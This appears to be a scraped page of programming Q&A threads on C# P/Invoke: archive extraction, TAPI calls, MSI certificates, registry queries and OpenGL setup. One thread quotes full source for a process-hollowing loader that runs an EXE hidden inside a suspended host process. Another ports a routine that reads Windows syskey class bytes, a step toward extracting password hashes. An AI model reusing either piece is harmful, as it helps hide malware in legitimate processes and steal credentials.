P/Invoke throw System.ExecutionEngineException when upgrading .NET (3.5 -> 4.5) - c#

I am using nsis7z.dll to extract 7z files. The code works just fine on .NET 3.5, but when I compile using .NET 4.5, it does extract the 7z file, but crashes afterwards with a System.ExecutionEngineException exception. From what I've searched it seems like there's something problematic with the parameters sent using the P/Invoke, mostly the one passed as ref.
The code:
public static bool ExtractNsis7z(string i_FileName, string i_ToDirectory)
{
IntPtr ptr = GlobalAlloc((uint)GlobalMemoryFlags.GPTR, (UIntPtr)Marshal.SizeOf(typeof(stack)));
stack st = (stack)Marshal.PtrToStructure(ptr, typeof(stack));
st.next = IntPtr.Zero;
for (int i = 0; i < i_FileName.Length && (i < st.text.Length - 1); i++)
{
st.text[i] = i_FileName[i];
}
return Extract7z(IntPtr.Zero, 0, i_ToDirectory, ref st, IntPtr.Zero);
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public class stack
{
public IntPtr next;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 260)]
public char[] text;
};
[DllImport("nsis7z.dll", EntryPoint = "Extract", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode)]
static extern bool Extract7z(IntPtr hWnd, Int32 stringSize, String outputDirectory, ref stack theStack, IntPtr extra);
enum GlobalMemoryFlags : uint
{
GMEM_FIXED = 0x0000,
GMEM_MOVEABLE = 0x0002,
GMEM_ZEROINIT = 0x0040,
GMEM_MODIFY = 0x0080,
GMEM_VALID_FLAGS = 0x7F72,
GMEM_INVALID_HANDLE = 0x8000,
GHND = (GMEM_MOVEABLE | GMEM_ZEROINIT),
GPTR = (GMEM_FIXED | GMEM_ZEROINIT),
/*The following values are obsolete, but are provided for compatibility with 16-bit Windows. They are ignored.*/
GMEM_DDESHARE = 0x2000,
GMEM_DISCARDABLE = 0x0100,
GMEM_LOWER = GMEM_NOT_BANKED,
GMEM_NOCOMPACT = 0x0010,
GMEM_NODISCARD = 0x0020,
GMEM_NOT_BANKED = 0x1000,
GMEM_NOTIFY = 0x4000,
GMEM_SHARE = 0x2000
}
[DllImport("kernel32.dll")]
static extern IntPtr GlobalAlloc(uint uFlags, UIntPtr dwBytes);

Related

Error in lineDevSpecific (login in the phone)

I am trying to do login in the phone. I am developing in c# and the library is in C++. The function "lineDevSpecific" returns the value "-2147483595", but it must to be positive.
[DllImport("Tapi32.dll", SetLastError = true)]
unsafe private static extern int lineDevSpecific(IntPtr hLine, IntPtr lpParams);
[StructLayout(LayoutKind.Sequential)]
public struct UserRec
{
//[MarshalAs(UnmanagedType.I4)]
public int dwMode=8;
public int dwParam1=201;
public int dwParam2=0;
}
unsafe static void Iniciar()
{
string vline = "Ip Office Phone: 201";
IntPtr hline = System.Runtime.InteropServices.Marshal.StringToHGlobalAnsi(vline);
var sizeUserRec = Marshal.SizeOf(typeof(UserRec));
var userRec = Marshal.AllocHGlobal(sizeUserRec);
int result=lineDevSpecific(hline, userRec);
var x = (UserRec)Marshal.PtrToStructure(userRec, typeof(UserRec));
Marshal.FreeHGlobal(userRec);
}
Version 2:
I have modified the initial post adding the lineInitializeEx method and lineOpen.
These methods returns a positive value, after this lineDevSpecific continues returning the same value.
[DllImport("Tapi32.dll", CharSet = CharSet.Auto)]
unsafe private static extern long lineInitializeEx(ref uint lphLineApp, uint hInstance, uint lpfnCallback, uint lpszFriendlyAppName, ref uint lpdwNumDevs, ref uint lpdwAPIVersion, ref uint lpLineInitializeExParams);
[DllImport("Tapi32.dll", SetLastError = true)]
internal static extern long lineOpen(ref uint hLineApp, uint dwDeviceID, uint lphLine, uint dwAPIVersion, uint dwExtVersion, uint dwCallbackInstance, uint dwPrivileges, uint dwMediaModes, ref uint lpCallParams);
[DllImport("Tapi32.dll", CharSet = CharSet.Auto)]
unsafe private static extern int lineDevSpecific(uint hLine, IntPtr lpParams);
uint lineApp = 0;
uint numdevs = 0;
uint apiversion = 0;
uint exparams = 0;
uint lpcallparams = 0;
string sParams = "";
long lSize = 0;
long inicio = lineInitializeEx(ref lineApp, 0, 0, 0, ref numdevs, ref apiversion, ref exparams);
if (inicio > 0)
{
long open = lineOpen(ref lineApp, 0, 0, 0, 0, 0, 0, 0, ref lpcallparams);
//string vline = "Ip Office Phone: 201";
//IntPtr hline = System.Runtime.InteropServices.Marshal.StringToHGlobalAnsi(vline);
var sizeUserRec = Marshal.SizeOf(typeof(UserRec));
var userRec = Marshal.AllocHGlobal(sizeUserRec);
int result = lineDevSpecific(lineApp, userRec);
var x = (UserRec)Marshal.PtrToStructure(userRec, typeof(UserRec));
Marshal.FreeHGlobal(userRec);
}
Solution: I have called to Julmar Atapi.
string extension = "201";
char[] c = new char[extension.Length + 2];
c[0] = (char)0x08; //login character
int i = 1;
foreach (char s in extension)
{
c[i] = s;
i++;
}
c[i] = (char)0x00; //null terminator
CurrentAddress.DeviceSpecific(Encoding.ASCII.GetBytes(c));
That is a LINEERR_ constant, see MSDN LINEERR_ Constants page
These use a hexadecimal unsigned "0x8000 00xx" style, turning them negative if you look at them as a signed int.
So this one is 0x8000 0035 LINEERR_INVALPOINTER
Your hline is wrong, this is a handle to a line not a text in a pointer. You need to get it from a lineOpen
Update for version 2
You are mixing up hLineApp and hLine. From lineOpen MSDN:
hLineApp: Handle to the application's registration with TAPI.
lphLine: Pointer to an HLINE handle that is then loaded with the handle representing the opened line device. Use this handle to identify the device when invoking other functions on the open line device.

Get certificate of an installed Windows Installer package with product code

I have a couple of product codes filtered from MsiEnumProducts and need to get their assigned certificates.
It should be possible to get the cert by using MsiOpenDatabase, but I don't know how to reliably get paths to the .msi files.
I would prefer to avoid external assemblies (like wix), only pinvoke.
Given a product code, a call to MsiGetProductInfo passing the property name INSTALLPROPERTY_LOCALPACKAGE returns the location of the cached installer package in C:\Windows\Installer.
Once you have the cached package, a call to MsiGetFileSignatureInformation can retrieve the certificate.
Example using pInvoke:
using System;
using System.Text;
using System.Runtime.InteropServices;
class Program
{
[DllImport("msi.dll", CharSet = CharSet.Ansi, SetLastError = false)]
static extern int MsiEnumProducts(int iProductIndex, StringBuilder lpProductBuf);
[DllImport("msi.dll", CharSet = CharSet.Ansi, SetLastError = false)]
static extern int MsiGetProductInfo(string product, string property, [Out] StringBuilder valueBuf, ref Int32 len);
[DllImport("msi.dll", CharSet = CharSet.Ansi, SetLastError = false)]
static extern int MsiGetFileSignatureInformation(string fileName, int flags, out IntPtr certContext, IntPtr hashData, ref int hashDataLength);
[DllImport("Crypt32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
static extern int CertFreeCertificateContext( IntPtr certContext );
[DllImport("Crypt32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
static extern int CertGetNameString(IntPtr certContext, UInt32 type, UInt32 flags, IntPtr typeParameter, StringBuilder stringValue, UInt32 stringLength );
static void Main(string[] args)
{
int index = 0;
StringBuilder productCode = new StringBuilder();
int result = MsiEnumProducts(index, productCode);
while (result == 0)
{
Console.WriteLine("{0}", productCode);
Int32 length = 1024;
StringBuilder fileName = new StringBuilder();
result = MsiGetProductInfo(
productCode.ToString(),
"LocalPackage",
fileName,
ref length );
if (result == 0)
{
Console.WriteLine("{0}", fileName);
IntPtr certContext = IntPtr.Zero;
IntPtr hashData = IntPtr.Zero;
int hashDataLength = 0;
result = MsiGetFileSignatureInformation(
fileName.ToString(),
0,
out certContext,
hashData,
ref hashDataLength);
if ( result == 0 )
{
Console.WriteLine("Got Cert");
StringBuilder simpleDisplayType = new StringBuilder();
int ok = CertGetNameString(
certContext,
4, // == CERT_NAME_SIMPLE_DISPLAY_TYPE
0,
IntPtr.Zero,
simpleDisplayType,
1024 );
if (ok != 0)
{
Console.WriteLine("{0}", simpleDisplayType);
}
CertFreeCertificateContext(certContext);
}
}
++index;
result = MsiEnumProducts(index, productCode);
}
}
}

Why run native exe from byte array example don't work for me?

I found some questions, asking how to run native EXE from RAM. I used this example code:
using System;
using System.Runtime.InteropServices;
/*
* Title: CMemoryExecute.cs
* Description: Runs an EXE in memory using native WinAPI. Very optimized and tiny.
*
* Developed by: affixiate
* Release date: December 10, 2010
* Released on: http://opensc.ws
* Credits:
* MSDN (http://msdn.microsoft.com)
* NtInternals (http://undocumented.ntinternals.net)
* Pinvoke (http://pinvoke.net)
*
* Comments: If you use this code, I require you to give me credits. Don't be a ripper! ;]
*/
// ReSharper disable InconsistentNaming
public static unsafe class CMemoryExecute
{
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
/// <summary>
/// Runs an EXE (which is loaded in a byte array) in memory.
/// </summary>
/// <param name="exeBuffer">The EXE buffer.</param>
/// <param name="hostProcess">Full path of the host process to run the buffer in.</param>
/// <param name="optionalArguments">Optional command line arguments.</param>
/// <returns></returns>
public static bool Run(byte[] exeBuffer, string hostProcess, string optionalArguments = "")
{
// STARTUPINFO
STARTUPINFO StartupInfo = new STARTUPINFO();
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
StartupInfo.wShowWindow = SW_HIDE;
var IMAGE_SECTION_HEADER = new byte[0x28]; // pish
var IMAGE_NT_HEADERS = new byte[0xf8]; // pinh
var IMAGE_DOS_HEADER = new byte[0x40]; // pidh
var PROCESS_INFO = new int[0x4]; // pi
var CONTEXT = new byte[0x2cc]; // ctx
byte* pish;
fixed (byte* p = &IMAGE_SECTION_HEADER[0])
pish = p;
byte* pinh;
fixed (byte* p = &IMAGE_NT_HEADERS[0])
pinh = p;
byte* pidh;
fixed (byte* p = &IMAGE_DOS_HEADER[0])
pidh = p;
byte* ctx;
fixed (byte* p = &CONTEXT[0])
ctx = p;
// Set the flag.
*(uint*)(ctx + 0x0 /* ContextFlags */) = CONTEXT_FULL;
// Get the DOS header of the EXE.
Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length);
/* Sanity check: See if we have MZ header. */
if (*(ushort*)(pidh + 0x0 /* e_magic */) != IMAGE_DOS_SIGNATURE)
return false;
var e_lfanew = *(int*)(pidh + 0x3c);
// Get the NT header of the EXE.
Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length);
/* Sanity check: See if we have PE00 header. */
if (*(uint*)(pinh + 0x0 /* Signature */) != IMAGE_NT_SIGNATURE)
return false;
// Run with parameters if necessary.
if (!string.IsNullOrEmpty(optionalArguments))
hostProcess += " " + optionalArguments;
int ERROR_CODE = 0;
if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref StartupInfo, PROCESS_INFO))
{
ERROR_CODE = Marshal.GetLastWin32Error();
return false;
}
var ImageBase = new IntPtr(*(int*)(pinh + 0x34));
NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase);
ERROR_CODE = Marshal.GetLastWin32Error();
if (VirtualAllocEx((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, *(uint*)(pinh + 0x50 /* SizeOfImage */), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == IntPtr.Zero)
Run(exeBuffer, hostProcess, optionalArguments); // Memory allocation failed; try again (this can happen in low memory situations)
fixed (byte* p = &exeBuffer[0])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, (IntPtr)p, *(uint*)(pinh + 84 /* SizeOfHeaders */), IntPtr.Zero);
ERROR_CODE = Marshal.GetLastWin32Error();
for (ushort i = 0; i < *(ushort*)(pinh + 0x6 /* NumberOfSections */); i++)
{
Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length);
fixed (byte* p = &exeBuffer[*(uint*)(pish + 0x14 /* PointerToRawData */)])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)((int)ImageBase + *(uint*)(pish + 0xc /* VirtualAddress */)), (IntPtr)p, *(uint*)(pish + 0x10 /* SizeOfRawData */), IntPtr.Zero);
ERROR_CODE = Marshal.GetLastWin32Error();
}
NtGetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
ERROR_CODE = Marshal.GetLastWin32Error();
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)(*(uint*)(ctx + 0xAC /* ecx */)), ImageBase, 0x4, IntPtr.Zero);
ERROR_CODE = Marshal.GetLastWin32Error();
*(uint*)(ctx + 0xB0 /* eax */) = (uint)ImageBase + *(uint*)(pinh + 0x28 /* AddressOfEntryPoint */);
NtSetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
ERROR_CODE = Marshal.GetLastWin32Error();
NtResumeThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, IntPtr.Zero);
ERROR_CODE = Marshal.GetLastWin32Error();
return true;
}
#region WinNT Definitions
private const uint CONTEXT_FULL = 0x10007;
private const int CREATE_SUSPENDED = 0x4;
private const int MEM_COMMIT = 0x1000;
private const int MEM_RESERVE = 0x2000;
private const int PAGE_EXECUTE_READWRITE = 0x40;
private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ
private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00
private static short SW_SHOW = 5;
private static short SW_HIDE = 0;
private const uint STARTF_USESTDHANDLES = 0x00000100;
private const uint STARTF_USESHOWWINDOW = 0x00000001;
#region WinAPI
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, int[] lpProcessInfo);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount);
#endregion
#endregion
}
My .net prog was in 32 bit architecture and I was injecting into C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\vbc.exe:
OpenFileDialog ofd = new OpenFileDialog();
ofd.Filter = "EXE Files (*.exe)|*.exe;";
if (ofd.ShowDialog(this) == System.Windows.Forms.DialogResult.OK)
CMemoryExecute.Run(File.ReadAllBytes(ofd.FileName), "C:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe");
When I run this, simply happens nothing, but the vbc.exe actually starts and visible in task manager, but hidden. I tried to inject into other exes too.
I use 32 bit win 8 and tried to run notepad.exe and some other win32 exe.
No any windows internal errors appear, like DEP prevention and etc.
I added ERROR_CODE = Marshal.GetLastWin32Error(); code checks into the code, but everywhere it is zero, kind of no errors and no work :(
I tested in framework 2.0 and 4.0
I should mention that I don't know much about what this code is doing, but see this line:
StartupInfo.wShowWindow = SW_HIDE;
Nowhere else is wShowWindow assigned to.
I attempted to visit http://opensc.ws which is mentioned in the comment, and got a strange page asking for a captcha and a reason for temporary access. Permanent access needed site admin approval. After requesting "temporary" access, I got a message saying the website was offline. Very suspicious.
I would place money that this code was originally developed with intentions other than good, but I could be wrong.

C# P/Invoke Win32 function RegQueryInfoKey

I am trying to port the following C++ code:
BOOL SyskeyGetClassBytes(HKEY hKeyReg,LPSTR keyName,LPSTR valueName,LPBYTE classBytes) {
HKEY hKey,hSubKey;
DWORD dwDisposition=0,classSize;
BYTE classStr[16];
LONG ret;
BOOL isSuccess = FALSE;
ret = RegCreateKeyEx(hKeyReg,keyName,0,NULL,REG_OPTION_NON_VOLATILE,KEY_QUERY_VALUE,NULL,&hKey,&dwDisposition);
if(ret!=ERROR_SUCCESS)
return FALSE;
else if(dwDisposition!=REG_OPENED_EXISTING_KEY) {
RegCloseKey(hKey);
return FALSE;
}
else {
if(RegOpenKeyEx(hKey,valueName,0,KEY_READ,&hSubKey)==ERROR_SUCCESS) {
classSize = 8+1;
ret = RegQueryInfoKey(hSubKey,(LPTSTR)classStr,&classSize,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);
if((ret==ERROR_SUCCESS)&&(classSize==8)) {
classBytes[0]= (HexDigitToByte(classStr[0]) << 4) | HexDigitToByte(classStr[1]);
classBytes[1]= (HexDigitToByte(classStr[2]) << 4) | HexDigitToByte(classStr[3]);
classBytes[2]= (HexDigitToByte(classStr[4]) << 4) | HexDigitToByte(classStr[5]);
classBytes[3]= (HexDigitToByte(classStr[6]) << 4) | HexDigitToByte(classStr[7]);
isSuccess = TRUE;
}
RegCloseKey(hSubKey);
}
RegCloseKey(hKey);
}
return isSuccess;
}
I spent like 5 hours trying to figure out my problem, with no success. I know for a fact that I am properly calling this method. My C# code is
unsafe static bool SyskeyGetClassBytes(RegistryHive hKeyReg, string keyName, string valueName, byte* classBytes)
{
UIntPtr hSubKey;
UIntPtr hKey;
RegResult tmp; ;
uint classSize;
StringBuilder classStr = new StringBuilder();
int ret;
bool isSuccess = false;
ret = RegCreateKeyEx(hKeyReg, keyName, 0, null, RegOption.NonVolatile, RegSAM.QueryValue, UIntPtr.Zero, out hKey, out tmp);
if (ret != 0)
{
return false;
}
else if (tmp != RegResult.OpenedExistingKey)
{
return false;
}
else
{
int res = RegOpenKeyEx(hKey, valueName, 0, (int)RegSAM.Read, out hSubKey);
if (res == 0)
{
classSize = 8 + 1;
ret = RegQueryInfoKey(hSubKey, out classStr, ref classSize, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if ((classSize == 8))
{
classBytes[0] = (byte)((byte)(HexDigitToByte(classStr[0]) << (byte)4) | HexDigitToByte(classStr[1]));
classBytes[1] = (byte)((byte)(HexDigitToByte(classStr[2]) << (byte)4) | HexDigitToByte(classStr[3]));
classBytes[2] = (byte)((byte)(HexDigitToByte(classStr[4]) << (byte)4) | HexDigitToByte(classStr[5]));
classBytes[3] = (byte)((byte)(HexDigitToByte(classStr[6]) << (byte)4) | HexDigitToByte(classStr[7]));
isSuccess = true;
}
RegCloseKey(hSubKey);
}
else
{
return false;
}
RegCloseKey(hKey);
}
return isSuccess;
}
Its a little bit hard for me to debug, but eventually I determined that the problem is occurring at this line. Execution seems to halt afterwards.
ret = RegQueryInfoKey(hSubKey, out classStr, ref classSize, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
I know this is not a problem with permissions, as this C# program is running with admin perms AND as the local system account. The method that I need that the .Net APIs don't offer is RegQueryInfoKey. My P/Invoke signatures and types used are:
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public unsafe byte* lpSecurityDescriptor;
public int bInheritHandle;
}
[Flags]
public enum RegOption
{
NonVolatile = 0x0,
Volatile = 0x1,
CreateLink = 0x2,
BackupRestore = 0x4,
OpenLink = 0x8
}
[Flags]
public enum RegSAM
{
QueryValue = 0x0001,
SetValue = 0x0002,
CreateSubKey = 0x0004,
EnumerateSubKeys = 0x0008,
Notify = 0x0010,
CreateLink = 0x0020,
WOW64_32Key = 0x0200,
WOW64_64Key = 0x0100,
WOW64_Res = 0x0300,
Read = 0x00020019,
Write = 0x00020006,
Execute = 0x00020019,
AllAccess = 0x000f003f
}
public enum RegResult
{
CreatedNewKey = 0x00000001,
OpenedExistingKey = 0x00000002
}
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegOpenKeyEx(
UIntPtr hKey,
string subKey,
int ulOptions,
int samDesired,
out UIntPtr hkResult);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern int RegCloseKey(
UIntPtr hKey);
[DllImport("advapi32.dll", SetLastError = true)]
static extern int RegCreateKeyEx(
RegistryHive hKey,
string lpSubKey,
int Reserved,
string lpClass,
RegOption dwOptions,
RegSAM samDesired,
UIntPtr lpSecurityAttributes,
out UIntPtr phkResult,
out RegResult lpdwDisposition);
[DllImport("advapi32.dll", EntryPoint = "RegQueryInfoKey", CallingConvention = CallingConvention.Winapi, SetLastError = true)]
extern private static int RegQueryInfoKey(
UIntPtr hkey,
out StringBuilder lpClass,
ref uint lpcbClass,
IntPtr lpReserved,
IntPtr lpcSubKeys,
IntPtr lpcbMaxSubKeyLen,
IntPtr lpcbMaxClassLen,
IntPtr lpcValues,
IntPtr lpcbMaxValueNameLen,
IntPtr lpcbMaxValueLen,
IntPtr lpcbSecurityDescriptor,
IntPtr lpftLastWriteTime);
The lpClass parameter is declared incorrectly. Pass the StringBuilder by value.
[DllImport("advapi32.dll")]
extern private static int RegQueryInfoKey(
UIntPtr hkey,
StringBuilder lpClass,
ref uint lpcbClass,
IntPtr lpReserved,
IntPtr lpcSubKeys,
IntPtr lpcbMaxSubKeyLen,
IntPtr lpcbMaxClassLen,
IntPtr lpcValues,
IntPtr lpcbMaxValueNameLen,
IntPtr lpcbMaxValueLen,
IntPtr lpcbSecurityDescriptor,
IntPtr lpftLastWriteTime
);
You also need to allocate the StringBuilder instance to have the desired capacity. So, allocate the StringBuilder like this:
StringBuilder classStr = new StringBuilder(255);//or whatever length you like
And then set classSize like this:
classSize = classStr.Capacity+1;
I removed the parameters to DllImport. Most are not necessary, and the SetLastError is incorrect.
There may be other issues with your code, but with these changes at least the call to RegQueryInfoKey will match your C++ code.
Try this signature for RegQueryInfoKey:
[DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
extern private static int RegQueryInfoKey(
UIntPtr hkey,
out StringBuilder lpClass,
ref uint lpcbClass,
IntPtr lpReserved,
out uint lpcSubKeys,
out uint lpcbMaxSubKeyLen,
out uint lpcbMaxClassLen,
out uint lpcValues,
out uint lpcbMaxValueNameLen,
out uint lpcbMaxValueLen,
out uint lpcbSecurityDescriptor,
IntPtr lpftLastWriteTime);
You are not declaring them as out params and in the RegQueryInfoKey Win32 call they are _Out_opt_.
You need to initialize your StringBuilder with enough capacity to store a classSize number of characters.
classSize = 8 + 1;
classStr.Capacity = classSize;
ret = RegQueryInfoKey(hSubKey, out classStr, ref classSize, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
The marshaller will use the capacity set on the StringBuilder to send a buffer of the capacity size to the RegQueryInfoKey function. Without that you are probably corrupted memory.
See http://msdn.microsoft.com/en-us/library/s9ts558h.aspx#cpcondefaultmarshalingforstringsanchor3

wglCreateContext in C# failing but not in managed C++

I'm trying to use opengl in C#. I have following code which fails with error 2000 ERROR_INVALID_PIXEL_FORMAT
First definitions:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true, ExactSpelling = true)]
public static extern IntPtr GetDC(IntPtr hWnd);
[StructLayout(LayoutKind.Sequential)]
public struct PIXELFORMATDESCRIPTOR
{
public void Init()
{
nSize = (ushort) Marshal.SizeOf(typeof (PIXELFORMATDESCRIPTOR));
nVersion = 1;
dwFlags = PFD_FLAGS.PFD_DRAW_TO_WINDOW | PFD_FLAGS.PFD_SUPPORT_OPENGL | PFD_FLAGS.PFD_DOUBLEBUFFER | PFD_FLAGS.PFD_SUPPORT_COMPOSITION;
iPixelType = PFD_PIXEL_TYPE.PFD_TYPE_RGBA;
cColorBits = 24;
cRedBits = cRedShift = cGreenBits = cGreenShift = cBlueBits = cBlueShift = 0;
cAlphaBits = cAlphaShift = 0;
cAccumBits = cAccumRedBits = cAccumGreenBits = cAccumBlueBits = cAccumAlphaBits = 0;
cDepthBits = 32;
cStencilBits = cAuxBuffers = 0;
iLayerType = PFD_LAYER_TYPES.PFD_MAIN_PLANE;
bReserved = 0;
dwLayerMask = dwVisibleMask = dwDamageMask = 0;
}
ushort nSize;
ushort nVersion;
PFD_FLAGS dwFlags;
PFD_PIXEL_TYPE iPixelType;
byte cColorBits;
byte cRedBits;
byte cRedShift;
byte cGreenBits;
byte cGreenShift;
byte cBlueBits;
byte cBlueShift;
byte cAlphaBits;
byte cAlphaShift;
byte cAccumBits;
byte cAccumRedBits;
byte cAccumGreenBits;
byte cAccumBlueBits;
byte cAccumAlphaBits;
byte cDepthBits;
byte cStencilBits;
byte cAuxBuffers;
PFD_LAYER_TYPES iLayerType;
byte bReserved;
uint dwLayerMask;
uint dwVisibleMask;
uint dwDamageMask;
}
[Flags]
public enum PFD_FLAGS : uint
{
PFD_DOUBLEBUFFER = 0x00000001,
PFD_STEREO = 0x00000002,
PFD_DRAW_TO_WINDOW = 0x00000004,
PFD_DRAW_TO_BITMAP = 0x00000008,
PFD_SUPPORT_GDI = 0x00000010,
PFD_SUPPORT_OPENGL = 0x00000020,
PFD_GENERIC_FORMAT = 0x00000040,
PFD_NEED_PALETTE = 0x00000080,
PFD_NEED_SYSTEM_PALETTE = 0x00000100,
PFD_SWAP_EXCHANGE = 0x00000200,
PFD_SWAP_COPY = 0x00000400,
PFD_SWAP_LAYER_BUFFERS = 0x00000800,
PFD_GENERIC_ACCELERATED = 0x00001000,
PFD_SUPPORT_DIRECTDRAW = 0x00002000,
PFD_DIRECT3D_ACCELERATED = 0x00004000,
PFD_SUPPORT_COMPOSITION = 0x00008000,
PFD_DEPTH_DONTCARE = 0x20000000,
PFD_DOUBLEBUFFER_DONTCARE = 0x40000000,
PFD_STEREO_DONTCARE = 0x80000000
}
public enum PFD_LAYER_TYPES : byte
{
PFD_MAIN_PLANE = 0,
PFD_OVERLAY_PLANE = 1,
PFD_UNDERLAY_PLANE = 255
}
public enum PFD_PIXEL_TYPE : byte
{
PFD_TYPE_RGBA = 0,
PFD_TYPE_COLORINDEX = 1
}
[DllImport("gdi32.dll", CharSet = CharSet.Auto, SetLastError = true, ExactSpelling = true)]
public static extern int ChoosePixelFormat(IntPtr hdc, [In] ref PIXELFORMATDESCRIPTOR ppfd);
[DllImport("gdi32.dll", CharSet = CharSet.Auto, SetLastError = true, ExactSpelling = true)]
public static extern bool SetPixelFormat(IntPtr hdc, int iPixelFormat, ref PIXELFORMATDESCRIPTOR ppfd);
[DllImport("opengl32.dll", CharSet = CharSet.Auto, SetLastError = true, ExactSpelling = true)]
public static extern IntPtr wglCreateContext(IntPtr hDC);
And now the code that fails:
IntPtr dc = Win.GetDC(hwnd);
var pixelformatdescriptor = new GL.PIXELFORMATDESCRIPTOR();
pixelformatdescriptor.Init();
var pixelFormat = GL.ChoosePixelFormat(dc, ref pixelformatdescriptor);
if(!GL.SetPixelFormat(dc, pixelFormat, ref pixelformatdescriptor))
throw new Win32Exception(Marshal.GetLastWin32Error());
IntPtr hglrc;
if((hglrc = GL.wglCreateContext(dc)) == IntPtr.Zero)
throw new Win32Exception(Marshal.GetLastWin32Error()); //<----- here I have exception
the same code in managed C++ is working
HDC dc = GetDC(hWnd);
PIXELFORMATDESCRIPTOR pf;
pf.nSize = sizeof(PIXELFORMATDESCRIPTOR);
pf.nVersion = 1;
pf.dwFlags = PFD_DRAW_TO_WINDOW | PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER | PFD_SUPPORT_COMPOSITION;
pf.cColorBits = 24;
pf.cRedBits = pf.cRedShift = pf.cGreenBits = pf.cGreenShift = pf.cBlueBits = pf.cBlueShift = 0;
pf.cAlphaBits = pf.cAlphaShift = 0;
pf.cAccumBits = pf.cAccumRedBits = pf.cAccumGreenBits = pf.cAccumBlueBits = pf.cAccumAlphaBits = 0;
pf.cDepthBits = 32;
pf.cStencilBits = pf.cAuxBuffers = 0;
pf.iLayerType = PFD_MAIN_PLANE;
pf.bReserved = 0;
pf.dwLayerMask = pf.dwVisibleMask = pf.dwDamageMask = 0;
int ipf = ChoosePixelFormat(dc, &pf);
SetPixelFormat(dc, ipf, &pf);
HGLRC hglrc = wglCreateContext(dc);
I've tried it on VIsta 64-bit with ATI graphic card and on Windows XP 32-bit with Nvidia with the same result in both cases.
Also I want to mention that I don't want to use any already written framework for it.
Can anyone show me where is the bug in C# code that is causing the exception?
Found solution.
Problem is very strange ugly and really hard to find. Somwhere on the internet I found that when you are linking opengl32.lib while compiling c++ application it must be placed before gdi32.lib. The reason for this is that (supposedly) opengl32.dll is overwriting ChoosePixelFormat and SetPixelFormat functions (and probably more :-). As I found in my c++ version, accidentally it was the case.
Heh, but how to do it in C#
After few days of searching I found that in tao framework they solved it using kernel32.dll LoadLibrary() function and loading opengl32.dll before calling SetPixelFormat
